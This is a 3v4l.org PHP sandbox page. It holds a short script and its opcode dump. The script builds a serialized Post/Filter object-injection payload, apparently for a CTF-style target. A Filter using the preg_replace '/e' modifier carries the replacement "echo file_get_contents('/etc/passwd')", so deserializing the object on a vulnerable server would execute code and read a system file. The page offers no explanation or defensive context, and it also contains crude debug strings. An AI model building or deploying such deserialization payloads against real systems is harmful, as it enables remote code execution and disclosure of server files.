3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Filter { protected $pattern; protected $repl; function __construct($pattern, $repl) { $this->pattern = $pattern; $this->repl = $repl; } function filter($data) { return preg_replace($this->pattern, $this->repl, $data); } function __destruct(){ echo "BYE BITCH\n"; } }; class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"'; foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"), new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"), new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"), new Filter("/\[br\]/i", "<br>")]; echo "\n\n"; echo json_encode(serialize(new Post("a", "br", [new Filter("/br/e", "echo file_get_contents('/etc/passwd')"), new Filter("/moni/", "i repor u")]))); echo "\n\n";
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  (null)
number of ops:  46
compiled vars:  !0 = $standard_filter_set
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   52     0  E >   NEW                                              $1      'Filter'
          1        SEND_VAL_EX                                              '%2F%5C%5Bi%5C%5D%28.%2A%29%5C%5B%5C%2Fi%5C%5D%2Fi'
          2        SEND_VAL_EX                                              '%3Ci%3E%5C1%3C%2Fi%3E'
          3        DO_FCALL                                      0          
          4        INIT_ARRAY                                       ~3      $1
   53     5        NEW                                              $4      'Filter'
          6        SEND_VAL_EX                                              '%2F%5C%5Bb%5C%5D%28.%2A%29%5C%5B%5C%2Fb%5C%5D%2Fi'
          7        SEND_VAL_EX                                              '%3Cb%3E%5C1%3C%2Fb%3E'
          8        DO_FCALL                                      0          
          9        ADD_ARRAY_ELEMENT                                ~3      $4
   54    10        NEW                                              $6      'Filter'
         11        SEND_VAL_EX                                              '%2F%5C%5Bimg%5C%5D%28.%2A%29%5C%5B%5C%2Fimg%5C%5D%2Fi'
         12        SEND_VAL_EX                                              '%3Cimg+src%3D%27%5C1%27%3E'
         13        DO_FCALL                                      0          
         14        ADD_ARRAY_ELEMENT                                ~3      $6
   55    15        NEW                                              $8      'Filter'
         16        SEND_VAL_EX                                              '%2F%5C%5Bbr%5C%5D%2Fi'
         17        SEND_VAL_EX                                              '%3Cbr%3E'
         18        DO_FCALL                                      0          
         19        ADD_ARRAY_ELEMENT                                ~3      $8
   52    20        ASSIGN                                                   !0, ~3
   56    21        ECHO                                                     '%0A%0A'
   57    22        INIT_FCALL                                               'json_encode'
         23        INIT_FCALL                                               'serialize'
         24        NEW                                              $11     'Post'
         25        SEND_VAL_EX                                              'a'
         26        SEND_VAL_EX                                              'br'
         27        NEW                                              $12     'Filter'
         28        SEND_VAL_EX                                              '%2Fbr%2Fe'
         29        SEND_VAL_EX                                              'echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29'
         30        DO_FCALL                                      0          
         31        INIT_ARRAY                                       ~14     $12
         32        NEW                                              $15     'Filter'
         33        SEND_VAL_EX                                              '%2Fmoni%2F'
         34        SEND_VAL_EX                                              'i+repor+u'
         35        DO_FCALL                                      0          
         36        ADD_ARRAY_ELEMENT                                ~14     $15
         37        SEND_VAL_EX                                              ~14
         38        DO_FCALL                                      0          
         39        SEND_VAR                                                 $11
         40        DO_ICALL                                         $18     
         41        SEND_VAR                                                 $18
         42        DO_ICALL                                         $19     
         43        ECHO                                                     $19
   58    44        ECHO                                                     '%0A%0A'
         45      > RETURN                                                   1

Class Filter:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  __construct
number of ops:  7
compiled vars:  !0 = $pattern, !1 = $repl
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    7     2        ASSIGN_OBJ                                               'pattern'
          3        OP_DATA                                                  !0
    8     4        ASSIGN_OBJ                                               'repl'
          5        OP_DATA                                                  !1
    9     6      > RETURN                                                   null

End of function __construct

Function filter:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  filter
number of ops:  10
compiled vars:  !0 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   10     0  E >   RECV                                             !0      
   11     1        INIT_FCALL                                               'preg_replace'
          2        FETCH_OBJ_R                                      ~1      'pattern'
          3        SEND_VAL                                                 ~1
          4        FETCH_OBJ_R                                      ~2      'repl'
          5        SEND_VAL                                                 ~2
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $3      
          8      > RETURN                                                   $3
   12     9*     > RETURN                                                   null

End of function filter

Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  __destruct
number of ops:  2
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   14     0  E >   ECHO                                                     'BYE+BITCH%0A'
   15     1      > RETURN                                                   null

End of function __destruct

End of class Filter.

Class Post:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  __construct
number of ops:  10
compiled vars:  !0 = $title, !1 = $text, !2 = $filters
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   22     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   23     3        ASSIGN_OBJ                                               'title'
          4        OP_DATA                                                  !0
   24     5        ASSIGN_OBJ                                               'text'
          6        OP_DATA                                                  !1
   25     7        ASSIGN_OBJ                                               'filters'
          8        OP_DATA                                                  !2
   26     9      > RETURN                                                   null

End of function __construct

Function get_title:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/4AKQ4
function name:  get_title
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   29     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~0      'title'
          2        SEND_VAL                                                 ~0
          3        DO_ICALL                                         $1      
          4      > RETURN                                                   $1
   30     5*     > RETURN                                                   null

End of function get_title

Function display_post:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 7, Position 2 = 13
Branch analysis from position: 7
2 jumps found. (Code = 78) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 7
Branch analysis from position: 7
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
filename:       /in/4AKQ4
function name:  display_post
number of ops:  16
compiled vars:  !0 = $text, !1 = $filter
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   33     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~2      'text'
          2        SEND_VAL                                                 ~2
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !0, $3
   34     5        FETCH_OBJ_R                                      ~5      'filters'
          6      > FE_RESET_R                                       $6      ~5, ->13
          7    > > FE_FETCH_R                                               $6, !1, ->13
   35     8    >   INIT_METHOD_CALL                                         !1, 'filter'
          9        SEND_VAR_EX                                              !0
         10        DO_FCALL                                      0  $7      
         11        ASSIGN                                                   !0, $7
   34    12      > JMP                                                      ->7
         13    >   FE_FREE                                                  $6
   36    14      > RETURN                                                   !0
   37    15*     > RETURN                                                   null

End of function display_post

Function __destruct:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 17, Position 2 = 23
Branch analysis from position: 17
2 jumps found. (Code = 78) Position 1 = 18, Position 2 = 23
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 23
filename:       /in/4AKQ4
function name:  __destruct
number of ops:  31
compiled vars:  !0 = $s, !1 = $text, !2 = $filter
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   41     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~3      'title'
          2        SEND_VAL                                                 ~3
          3        DO_ICALL                                         $4      
          4        CONCAT                                           ~5      '%3C%21--+POST+', $4
          5        ASSIGN                                                   !0, ~5
   42     6        INIT_FCALL                                               'htmlspecialchars'
          7        FETCH_OBJ_R                                      ~7      'text'
          8        SEND_VAL                                                 ~7
          9        DO_ICALL                                         $8      
         10        ASSIGN                                                   !1, $8
   43    11        FETCH_OBJ_R                                      ~10     'filters'
         12        CONCAT                                           ~11     'WOAH+ITS+A+FILTER+%22', ~10
         13        CONCAT                                           ~12     ~11, '%22'
         14        ECHO                                                     ~12
   44    15        FETCH_OBJ_R                                      ~13     'filters'
         16      > FE_RESET_R                                       $14     ~13, ->23
         17    > > FE_FETCH_R                                               $14, !2, ->23
   45    18    >   INIT_METHOD_CALL                                         !2, 'filter'
         19        SEND_VAR_EX                                              !1
         20        DO_FCALL                                      0  $15     
         21        ASSIGN                                                   !1, $15
   44    22      > JMP                                                      ->17
         23    >   FE_FREE                                                  $14
   46    24        CONCAT                                           ~17     !0, '%3A+'
         25        CONCAT                                           ~18     ~17, !1
         26        ASSIGN                                                   !0, ~18
   47    27        CONCAT                                           ~20     !0, '+--%3E'
         28        ASSIGN                                                   !0, ~20
   48    29        ECHO                                                     !0
   49    30      > RETURN                                                   null

End of function __destruct

End of class Post.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
155.04 ms | 1400 KiB | 21 Q